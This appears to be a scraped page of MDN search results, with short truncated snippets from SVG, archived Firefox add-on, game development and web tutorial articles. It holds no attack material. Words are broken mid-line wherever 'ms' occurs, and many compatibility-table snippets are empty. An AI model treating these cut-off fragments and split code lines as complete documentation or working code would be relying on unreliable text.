clip-path - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetclip-pathchrome ?
... sa
msung internet android ?
clip-rule - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetclip-rulechrome ?
... sa
msung internet android ?
color-interpolation - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcolor-interpolationchrome ?
... sa
msung internet android ?
color-profile - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcolor-profile deprecatedchrome ?
... sa
msung internet android ?
color - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcolorchrome ?
... sa
msung internet android ?
cursor - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcursorchrome ?
... sa
msung internet android ?
dominant-baseline - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdominant-baselinechrome ?
... sa
msung internet android ?
fill-opacity - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfill-opacitychrome ?
... sa
msung internet android ?
fill-rule - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfill-rulechrome ?
... sa
msung internet android ?
fill - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfillchrome ?
... sa
msung internet android ?
filter - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfilterchrome ?
... sa
msung internet android ?
font-family - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfont-familychrome ?
... sa
msung internet android ?
font-style - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfont-stylechrome ?
... sa
msung internet android ?
font-weight - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetfont-weightchrome ?
... sa
msung internet android ?
pointer-events - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpointer-eventschrome ?
... sa
msung internet android ?
shape-rendering - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetshape-renderingchrome ?
... sa
msung internet android ?
stemh - SVG: Scalable Vector Graphics
for example, the main vertical ste
ms of roman characters will differ from the thin ste
ms on serifed "m" and "n", plus there may be different widths for uppercase and lowercase characters in the same font.
... also, either by design or by error, all ste
ms may have slightly different widths.
stemv - SVG: Scalable Vector Graphics
the vertical stem width is the width of vertical (or near-vertical) ste
ms of glyphs.
...the measurement is meant for the dominant vertical stem in the font because there might be different groupings of vertical ste
ms (e.g., one main one, and one lighter weight one as for an uppercase "m" or "n").
stroke-dasharray - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetstroke-dasharraychrome ?
... sa
msung internet android ?
stroke-dashoffset - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetstroke-dashoffsetchrome ?
... sa
msung internet android ?
stroke-linecap - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetstroke-linecapchrome ?
... sa
msung internet android ?
stroke-miterlimit - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetstroke-miterlimitchrome ?
... sa
msung internet android ?
stroke-opacity - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetstroke-opacitychrome ?
... sa
msung internet android ?
stroke-width - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetstroke-widthchrome ?
... sa
msung internet android ?
stroke - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetstrokechrome ?
... sa
msung internet android ?
text-anchor - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettext-anchorchrome ?
... sa
msung internet android ?
text-rendering - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internettext-renderingchrome ?
... sa
msung internet android ?
transform - SVG: Scalable Vector Graphics
example html,body,svg { height:100% } <svg viewbox="-5 -5 10 10" xmlns="http://www.w3.org/2000/svg"> <rect x="-3" y="-3" width="6" height="6" /> <rect x="-3" y="-3" width="6" height="6" fill="red" transform="skewy(30)" /> </svg> specification specification status comment css transfor
ms level 2the definition of 'transform' in that specification.
... editor's draft css transfor
ms level 1the definition of 'transform' in that specification.
writing-mode - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetwriting-modechrome ?
... sa
msung internet android ?
Example - SVG: Scalable Vector Graphics
var di
ms = dimensions(); var width = di
ms[0], height = di
ms[1]; // choose a random coordinate to start at.
... mote.prototype.capposition = function() { var di
ms = dimensions(); if( this.x < 0 ) this.x = 0; else if( this.x >= di
ms[0] ) this.x = di
ms[0]-1; if( this.y < 0 ) this.y = 0; else if( this.y >= di
ms[1] ) this.y = di
ms[1]-1; } // mote::move() -- move a mote, update the screen.
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
wall() deprecated turned into no-ops (bug 734079) externalresourcesrequired attribute removed implementation status unknown auto value for width and height in <image> implementation status unknown referencing entire document with <use> implementation status unknown lang attribute on <desc> and <title> implemented (bug 721920) css transfor
ms on outermost <svg> not affecting svgsvgelement.currentscale or svgsvgelement.currenttranslate implementation status unknown rootelement attribute deprecated implementation status unknown svgelementinstance and svgelementinstancelist and corresponding attributes on svguseelement removed implementation status unknown <use> event flow following shadow dom spec.
...s controlling never-rendered elements implementation status unknown :focus and ::selection styles implementation status unknown geometry change notes x and y attributes removed from <pattern> and <filter> implementation status unknown auto value of width and height computes to 0 but 100% on <svg> not implemented coordinate syste
ms, transformations and units change notes exception for bad values on svgmatrix.skewx() and svgmatrix.skewy() implementation status unknown bounding box for element with no position at (0, 0) implementation status unknown defer keyword removed from preserveaspectratio attribute removed (bug 1280425) added non-scaling-size, non-rotation a...
Basic Transformations - SVG: Scalable Vector Graphics
effects on coordinate syste
ms when using transformations you establish a new coordinate system inside the element the transformations apply to.
...this way you can also simply create new coordinate syste
ms by utilizing the viewbox, width and height of the inner svg element.
Getting started - SVG: Scalable Vector Graphics
(firefox users: click here) the rendering process involves the following: we start with the <svg> root element: a doctype declaration as known from (x)html should be left off because dtd based svg validation leads to more proble
ms than it solves before svg 2, to identify the version of the svg for other types of validation the version and baseprofile attributes should always be used instead.
...if you have proble
ms convincing them to correctly configure their servers for svg, there may be ways to do it yourself.
Paths - SVG: Scalable Vector Graphics
l x y (or) l dx dy there are two abbreviated for
ms for drawing horizontal and vertical lines.
... z (or) z so our path above could be shortened to: <path d="m 10 10 h 90 v 90 h 10 z" fill="transparent" stroke="black"/> the relative for
ms of these commands can also be used to draw the same picture.
Patterns - SVG: Scalable Vector Graphics
unlike gradients, patterns have a second attribute, patterncontentunits, which describes the units system used inside the pattern element, on the basic shapes the
mselves.
...patterns usually have a set size and repeat the
mselves independently of what an object's shape is.
Referer header: privacy and security concerns - Web security
social networking widgets embedded in <iframe>) from secure areas of your website, like password reset pages, payment for
ms, login areas, etc.
... security-conscious server-side frameworks tend to have built in mitigations for such proble
ms, for example: security in django (especially see cross site request forgery (csrf) protection).
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
built from the ground up utilizing a wide variety of xml technologies, firefox incorporates within itself all of the mechanis
ms needed to process both original xml documents and the specialized stylesheets used to style and lay them out for html display, reducing server load with client-side processing.
... at present, gecko (the layout engine behind firefox) supports two for
ms of xml stylesheets.
Caching compiled WebAssembly modules - WebAssembly
opendatabase().then(db => { return lookupindatabase(db).then(module => { if we do, we instantiate it with the given import object: console.log(`found ${url} in wasm cache`); return webassembly.instantiate(module, importobject); }, if not, we compile it from scratch and then store the compiled module in the database with a key of url, for next time we want to use it: err
msg => { console.log(err
msg); return webassembly.instantiatestreaming(fetch(url)).then(results => { storeindatabase(db, results.module); return results.instance; }); }) }, note: it is for this kind of usage that webassembly.instantiate() returns both a module and an instance: the module represents the compiled code and can be stored/retrieved in idb or share...
... err
msg => { console.log(err
msg); return webassembly.instantiatestreaming(fetch(url)).then(results => { return results.instance }); }); } caching a wasm module with the above library function defined, getting a wasm module instance and using its exported features (while handling caching in the background) is as simple as calling it with the following parameters: a cache version, which — as we explained ab...
port - Archive of obsolete content
this means that it needs to be a string, number, boolean, null, array of json-serializable values, or an object whose property values are the
mselves json-serializable.
page-worker - Archive of obsolete content
unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have proble
ms getting your add-on approved on amo.
panel - Archive of obsolete content
warning: unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have proble
ms getting your add-on approved on amo.
private-browsing - Archive of obsolete content
he windows module will not list any private browser windows, generate any events for private browser windows, or let the add-on open any private browser windows the tabs module will not list any tabs that belong to private browser windows, and the add-on won't receive any events for such tabs any ui components will not be displayed in private browser windows any menus or menu ite
ms created using the context-menu will not be shown in context menus that belong to private browser windows the page-mod module will not attach content scripts to documents belonging to private browser windows any panel objects will not be shown if the active window is a private browser window the selection module will not include any selections made in private browser windows ...
Developing for Firefox Mobile - Archive of obsolete content
ntent supported content/loader supported content/mod supported content/worker supported core/heritage supported core/namespace supported core/promise supported event/core supported event/target supported frame/hidden-frame supported frame/utils supported io/byte-strea
ms supported io/file supported io/text-strea
ms supported lang/functional supported lang/type supported loader/cuddlefish supported loader/sandbox supported net/url supported net/xhr supported places/bookmarks not supported places/favicon not supported places/history ...
Drag & Drop - Archive of obsolete content
was from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("text/x-moz-url"); trans.adddataflavor("application/x-moz-file"); for (var i=0; i<dragsession.numdropite
ms; i++) { var uri = null; dragsession.getdata(trans, i); var flavor = {}, data = {}, length = {}; trans.getanytransferdata(flavor, data, length); if (data) { try { var str = data.value.queryinterface(components.interfaces.nsisupportsstring); } catch(ex) { } if (str) { uri = _ios.newuri(str.data.split("\n")[0...
IsDefaultNamespace - Archive of obsolete content
// http://www.w3.org/tr/dom-level-3-core/core.html#node3-isdefaultnamespace // http://www.w3.org/tr/dom-level-3-core/namespaces-algorith
ms.html#isdefaultnamespacealgo function isdefaultnamespace(node, namespaceuri) { if (node.isdefaultnamespace) { return node.isdefaultnamespace(namespaceuri); } switch (node.nodetype) { case 1: // element_node if (!node.prefix) { return (node.namespaceuri === namespaceuri); } if (node.attributes.length) { ...
LookupNamespaceURI - Archive of obsolete content
function addlookupnamespaceuri (type) { if (!type.prototype.lookupnamespaceuri) { type.prototype.lookupnamespaceuri = lookupnamespaceuri; } function lookupnamespaceuri (prefix) { return lookupnamespaceurihelper(this, prefix); } function lookupnamespaceurihelper (node, prefix) { // adapted directly from http://www.w3.org/tr/dom-level-3-core/namespaces-algorith
ms.html#lookupnamespaceurialgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespaceuri != null && node.prefix === prefix) { ...
LookupPrefix - Archive of obsolete content
function lookupprefix (node, namespaceuri) { var htmlmode = document.contenttype; // mozilla only // depends on private function _lookupnamespaceprefix() below and on https://developer.mozilla.org/en/code_snippets/lookupnamespaceuri // http://www.w3.org/tr/dom-level-3-core/core.html#node3-lookupnamespaceprefix // http://www.w3.org/tr/dom-level-3-core/namespaces-algorith
ms.html#lookupnamespaceprefixalgo // (the above had a few apparent 'bugs' in the pseudo-code which were corrected here) if (node.lookupprefix && htmlmode !== 'text/html') { // shouldn't use this in text/html for mozilla as will return null return node.lookupprefix(namespaceuri); } if (namespaceuri === null || namespaceuri === '') { return null; } switch (node.nodetype) { case 1: // nod...
Preferences - Archive of obsolete content
another caveat you should be aware of is that nsiprefbranch.getchildlist("",{}) returns an array of preference names that start with that branch's root, for example var branch = prefs.getbranch("accessibility."); var children = branch.getchildlist("", {}); will return these ite
ms (for the example tree above): "typeaheadfind.autostart", "typeaheadfind.enablesound", and "usebrailledisplay", not just direct children ("typeaheadfind" and "usebrailledisplay"), as you might have expected.
QuerySelector - Archive of obsolete content
however, it will work with attribute selectors that target non-prefixed attributes (such as 'id', but not xml:id: http://www.w3.org/tr/selectors-api/#resolving) (even though css3 does support namespaced attribute selectors: http://www.w3.org/tr/css3-selectors/#attrn
msp and potentially xml:id as #: http://www.w3.org/tr/css3-selectors/#id-selectors ).
Delayed Execution - Archive of obsolete content
let idx = delay.timers.push(timer) - 1; return idx; } repeat.timers = []; // repeat a task every 1200
ms repeat(1200, doathing); // do something 320
ms from now delay(320, dosomething); ...
View Source for XUL Applications - Archive of obsolete content
importing gviewsourceutils xul applications wanting to show the source code for documents should import the viewsourceutils.js script instead of attempting to open the viewsource.xul window the
mselves: <script type="application/javascript" src="chrome://global/content/viewsourceutils.js"/> viewsourceutils.js exposes a gviewsourceutils global into the scope of the window that imports that script.
XML-related code snippets - Archive of obsolete content
how to create a dom tree using xmlhttprequest parsing and serializing xml using xpath jxon (lossless javascript xml object notation) xsl transfor
ms xlink xinclude xml:id xml:base support in old browsers xpointer svg namespaces, or why http://www.mozilla.org/keymaster/gat...re.is.only.xul is at the top of every xul document.
Microsummary topics - Archive of obsolete content
createinstance(components.interfaces.nsidomparser); var generatordoc = domparser.parsefro
mstring(generatortext, "text/xml"); var microsummaryservice = components.classes["@mozilla.org/microsummary/service;1"].
LIR - Archive of obsolete content
bit subtract quad and branch on overflow softfloat 124 dlo2i integer softfloat get the low 32 bits of a double as an int 125 dhi2i integer softfloat get the high 32 bits of a double as an int 126 ii2d double softfloat join two ints (1st arg is low bits, 2nd is high) 127 hcalli integer lir_hcalli is a hack that's only used on 32-bit platfor
ms that use softfloat.
Plug-n-Hack - Archive of obsolete content
ure a browser to use an intercepting proxy that can handle https traffic, the user must typically: configure their browser to proxy via the tool configure the tool to proxy via their corporate proxy import the tool’s ssl certificate into their browser if any of these steps are carried out incorrectly then the browser will typically fail to connect to any website – debugging such proble
ms can be frustrating and time-consuming.
Proxy UI - Archive of obsolete content
right-click a menu is displayed that has the following ite
ms: online (proxy: none) online (proxy: auto discover) online (proxy: auto url) online (proxy: manual) --- proxy configuration...
Space Manager High Level Design - Archive of obsolete content
frame asks the space manager if the line in question intersects the float damage if the line does intersect a damage interval, then the line is marked dirty if the line does not intersect a damage interval, it may still be marked dirty if: it was impacted by floats before, but is not any longer it was not impacted by floats before, but is now it is impacted by floats and is a block proble
ms / bugs found during documentation: bandrect and bandlist are public in nsspacemanager.h - should be private (compiles fine) nsspacemanager data members are declared protected, but there are no subclasses.
Tamarin Acceptance Testing - Archive of obsolete content
successfully build release and debug versions of the shell with the debugger enabled [info] successfully run the following test suites: acceptance test suite [info] self tests [info] submit a sandbox build request to test against platfor
ms that you may not have locally [info] available tamarin acceptance test suites actionscript acceptance tests: actionscript acceptance tests running tamarin acceptance tests abc assembler tests cmdline tests performance tests actionscript performance tests running tamarin performance tests built-in self tests see instructions ...
Tamarin Build System Documentation - Archive of obsolete content
to provide quick and accurate results of building and testing tamarin on supported platfor
ms and configurations to represent the build results in a clear and concise manor please give use feedback if you have any comments or suggestions to improve the build system how to add tests to the smokes?
Treehydra - Archive of obsolete content
usage instructions static analyses analyses being worked on for mozilla 2(many use treehydra) interesting papers esp path-sensitive program verification in polynomial time community view treehydra foru
ms...
Using gdb on wimpy computers - Archive of obsolete content
you can see what libraries you already have loaded with the info sharedlibrary command: (gdb) info shar from to sy
ms read shared object library 0x4044a000 0x4044d08c yes /lib/libdl.so.2 0x4044e000 0x4048ff90 yes /usr/lib/libstdc++-libc6.1-1.so.2 0x40491000 0x404ad9d8 yes /lib/libm.so.6 0x404ae000 0x405a285c yes /lib/libc.so.6 0x40000000 0x40013ed0 yes /lib/ld-linux.so.2 0x40607000 0x4061554c no /usr/lib/libz.so.1 0x40763000 0x4088af74 no ...
Mozilla Web Developer Community - Archive of obsolete content
newsgroups, mailing lists, and foru
ms by topic: css - mozilla.dev.tech.css dom - mozilla.dev.tech.dom html - mozilla.dev.tech.html plugins - mozilla.dev.tech.plugins xml - mozilla.dev.tech.xml documentation - see mdc:community more at http://www.mozilla.org/community/dev...er-foru
ms.html mozillazine foru
ms mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards communities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a commercia...
datepicker - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
description - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
keyset - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
label - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
listcell - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
listhead - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
listheader - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
listitem - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
menubar - Archive of obsolete content
statusbar type: id if you set this attribute to the id of a statusbar element, the label on the statusbar will update to the statustext of the ite
ms on the menu as the user moves the mouse over them.
preference - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
radio - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
richlistitem - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
scale - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
tab - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
SAX - Archive of obsolete content
below is an example of parsing from a string: xmlreader.parsefro
mstring("<f:a xmlns:f='g' d='1'><bbq/></f:a>", "text/xml"); this call results in the following output (assuming the content handler from the example above is used): startdocument startelement: namespace='g', localname='a', qname='f:a', attributes={d='1'} startelement: namespace='', localname='bbq', qname='bbq', attributes={} endelement: namespace='', localname='bbq', qname='bbq' endelement: names...
TCP/IP Security - Archive of obsolete content
because all major web browsers include support for tls, users who wish to use web-based applications that are protected by tls normally do not need to install any client software or reconfigure their syste
ms.
References - Archive of obsolete content
h mozilla from nicolás lichtmaier complete css guide from westciv.com css lessons and tutorials from alsacreations html and css lessons and tutorials from htmldog.com preparing for standard-compliant browsers, part 1 from makiko itoh preparing for standard-compliant browsers, part 2 from makiko itoh javascript best practices lists 15 of the most frequent coding practices which create proble
ms for javascript and dhtml-driven webpages.
Array comprehensions - Archive of obsolete content
var numbers = [1, 2, 3, 4]; var doubled = [for (i of numbers) i * 2]; console.log(doubled); // logs 2,4,6,8 this is equivalent to the following map() operation: var doubled = numbers.map(i => i * 2); comprehensions can also be used to select ite
ms that match a particular expression.
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
bjects/regexp/dotall (not yet implemented; in other browsers) regexp lookbehind assertions (not yet implemented; in other browsers) regexp unicode property escapes (not yet implemented; in other browsers) regexp named capture groups (not yet implemented; in other browsers) ecmascript 2019 array.flat() (firefox 62) array.flatmap() (firefox 62) object.fromentries() (firefox 63) string.tri
mstart() and string.trimend() (firefox 61) optional catch binding (firefox 58) function.tostring() revision (firefox 54) symbol.description (firefox 63) well-formed json.stringify() (firefox 64) ecmascript 2020 this is the current es.next version.
Expression closures - Archive of obsolete content
examples a shorthand for binding event listeners: document.addeventlistener('click', function() false, true); using this notation with some of the array functions from javascript 1.6: ele
ms.some(function(elem) elem.type == 'text'); ...
ActiveXObject - Archive of obsolete content
for example, here are a few examples of values you may find there, depending on which progra
ms are installed: excel.application excel.chart scripting.filesystemobject wscript.shell word.document important: activex objects may present security issues.
@cc_on - Archive of obsolete content
it is not common to use conditional compilation variables in scripts written for asp or asp.net pages or command-line progra
ms because the capabilities of the compilers can be determined by using other methods.
New in JavaScript 1.1 - Archive of obsolete content
isnan() now works on every platform (not only unix anymore) parsefloat() and parseint() now return nan on all platfor
ms, if the first character of the specified string cannot be converted to a number; in previous releases, it returned nan on solaris and irix and zero on all other platfor
ms.
New in JavaScript 1.3 - Archive of obsolete content
changed functionality in javascript 1.3 changes to date to conform with ecma-262 new constructor date(year, month, day, [,hours [, minutes [, seconds [, milliseconds ]]]]) additional method parameters: setmonth(month[, date]) sethours(hours[, min[, sec[,
ms]]]) setminutes(min[, sec[,
ms]]) setseconds(sec[,
ms]) the length of an array (property length) is now an unsigned, 32-bit integer.
ECMAScript 2015 support in Mozilla - Archive of obsolete content
ad operator for function calls (firefox 27) use symbol.iterator property (firefox 36) const (js 1.5, firefox 1.0) (es2015 compliance bug 950547 implemented in firefox 51) let (js 1.7, firefox 2) (es2015 compliance bug 950547 implemented in firefox 51) destructuring assignment (js 1.7, firefox 2) (es2015 compliance bug 1055984) statements for...of (firefox 13) works in ter
ms of .iterator() and .next() (firefox 17) use "@@iterator" property (firefox 27) use symbol.iterator property (firefox 36) functions rest parameters (firefox 15) default parameters (firefox 15) parameters without defaults after default parameters (firefox 26) destructured parameters with default value assignment (firefox 41) arrow functions (firefox 22) generator fu...
Packages - Archive of obsolete content
for example, you can access a constructor of the frame class as follows: var theframe = new packages.java.awt.frame(); for convenience, javascript provides the top-level netscape, sun, and java objects that are synony
ms for the packages properties with the same names.
Server-Side JavaScript - Archive of obsolete content
sounds obvious, but for at least the first twelve years of the web's evolution, developers have pretty much had to use different languages on the server from those available in the browser, leading to segregated tea
ms, disparate and inconsistent know-how, and plenty of server-side string manipulation gymnastics to generate html or ajax pages.
RFE to the Custom Controls Interfaces - Archive of obsolete content
in short, we have the following interfaces: nsixfor
msaccessors - serves to get/set the value of the instance data node that the xfor
ms element is bound to as well as getting the various states of that node nsixfor
msdelegate - used to obtain the nsixfor
msaccessors interface nsixfor
msuiwidget - used by the xfor
ms processor to update the value/state of an xfor
ms element when its bound node's value/state is changed our current mechanism that allows authors to build custom controls assumes that the controls will be bound to instance nodes of simple content type.
Popup Window Controls - Archive of obsolete content
mozilla will attempt to suppress all calls to window.open() which occur in the following circu
mstances: global script which is executed as the document is loading script executed as part of a onload event handler script executed in settimeout() or setinterval() what popup windows are not suppressed?
Community - Extensions
if you know of useful mailing lists, newsgroups, foru
ms, or other communities related to extension development, please link to them here.
Publishing games - Game development
html5 games have a huge advantage over native in ter
ms of publishing and distribution — you have the freedom of distribution, promotion and monetization of your game on the web, rather than each version being locked into a single store controlled by one company.
3D collision detection - Game development
= math.max(box.minz, math.min(sphere.z, box.maxz)); // this is the same as ispointinsidesphere var distance = math.sqrt((x - sphere.x) * (x - sphere.x) + (y - sphere.y) * (y - sphere.y) + (z - sphere.z) * (z - sphere.z)); return distance < sphere.radius; } using a physics engine 3d physics engines provide collision detection algorith
ms, most of them based on bounding volumes as well.
Building up a basic demo with Three.js - Game development
a typical 3d scene in a game — even the simplest one — contains standard ite
ms like shapes located in a coordinate system, a camera to actually see them, lights and materials to make it look better, animations to make it look alive, etc.
3D games on the Web - Game development
they can be split into vertex shaders and fragment shaders (or pixel shaders) — the former transfor
ms shape positions to real 3d drawing coordinates, while the latter computes rendering colors and other attributes.
Async scripts for asm.js - Game development
putting async into action getting async compilation is easy: when writing your javascript, just use the async attribute like so: <script async src="file.js"></script> or, to do the same thing via script: var script = document.createelement('script'); script.src = "file.js"; document.body.appendchild(script); (scripts created from script default to async.) the default html shell e
mscripten generates produces the latter.
Build the brick field - Game development
now, let's start creating the bricks the
mselves — add an empty group first to contain the bricks, by adding the following line at the bottom of the initbricks() function: bricks = game.add.group(); we can loop through the rows and columns to create new brick on each iteration — add the following nested loop below the previous line of code: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { //...
Physics - Game development
check out the official physics documentation and see the huge collection of examples using the arcade and p2 physics syste
ms.
2D breakout game using Phaser - Game development
you will learn the basics of using the phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanis
ms, framework-specific helper functions, animations and tweens, and winning and losing states.
Tutorials - Game development
along the way you will learn the basics of using the <canvas> element to implement fundamental game mechanics like rendering and moving images, collision detection, control machanis
ms, and winning and losing states.
Visual-js game engine - Game development
3) please read the following ter
ms and conditions before using this application: disclaimer of warranty 'visual js' is provided "as-is" and without warranty of any kind, express, implied or otherwise, including without limitation, any warranty of merchantability or fitness for a particular purpose.
Visual JS GE - Game development
fig file to include the correct paths to the node app and project instance, as indicated below: module.exports = { version : "0.5", path_of_node_app : "d:/path_to_server_instance_folder/server/" , // edit here path_of_www : "d:/xamp/htdocs/project_instance/", // path_to_www edit here editor_port : "1013", reg_path : "users/", account_port : 3666 , destroy_session_after_x_
mseconds : 20000, }; local node.js application tools (uses in developer mode only) the following section provides information about the tools involved in visual-js game engine.
Advanced styling effects - Learn web development
ermostat on the cosmic transcender has reached a critical level.</p> </article> now the css: p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .simple { box-shadow: 5px 5px 5px rgba(0,0,0,0.7); } this gives us the following result: you'll see that we've got four ite
ms in the box-shadow property value: the first length value is the horizontal offset — the distance to the right the shadow is offset from the original box (or left, if the value is negative).
Backgrounds and borders - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing ite
ms in css images, media, and form elements styling tables debugging css organizing your css ...
Handling different text directions - Learn web development
previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing ite
ms in css images, media, and form elements styling tables debugging css organizing your css ...
Normal Flow - Learn web development
previous overview: css layout next this article explains normal flow, or the way that webpage elements lay the
mselves out if you have not changed their layout.
How do I use GitHub Pages? - Learn web development
cd desktop/test-site when the command line is pointing inside your website directory, type the following command, which tells the git tool to turn the directory into a git repository: git init an aside on command line interfaces the best way to upload your code to github is via the command line — this is a window where you type in commands to do things like create files and run progra
ms, rather than clicking inside a user interface.
Mozilla splash page - Learn web development
project brief in this assessment we are presenting you with a mostly-finished mozilla splash page, which ai
ms to say something nice and interesting about what mozilla stands for, and provide some links to further resources.
Structuring the web with HTML - Learn web development
solving common html proble
ms use html to solve common proble
ms provides links to sections of content explaining how to use html to solve very common proble
ms when creating a webpage: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc.
Asynchronous JavaScript - Learn web development
introducing asynchronous javascript in this article we briefly recap the proble
ms associated with sychronous javascript, and take a first look at some of the different asynchronous javascript techniques you'll encounter, showing how they can help us solve such proble
ms.
Test your skills: Loops - Learn web development
loops 1 in our first looping task we want you start by creating a simple loop that goes through all the ite
ms in the provided myarray and prints them out on the screen inside list ite
ms (i.e., <li> elements), which are appended to the provided list.
Client-side web APIs - Learn web development
fetching data from the server another very common task in modern websites and applications is retrieving individual data ite
ms from the server to update sections of a webpage without having to load an entirely new page.
Useful string methods - Learn web development
the strings are data ite
ms that contain the three-letter station code, followed by some machine-readable data, followed by a semicolon, followed by the human-readable station name.
Web performance - Learn web development
mobile performance with web access on mobile devices being so popular, and all mobile platfor
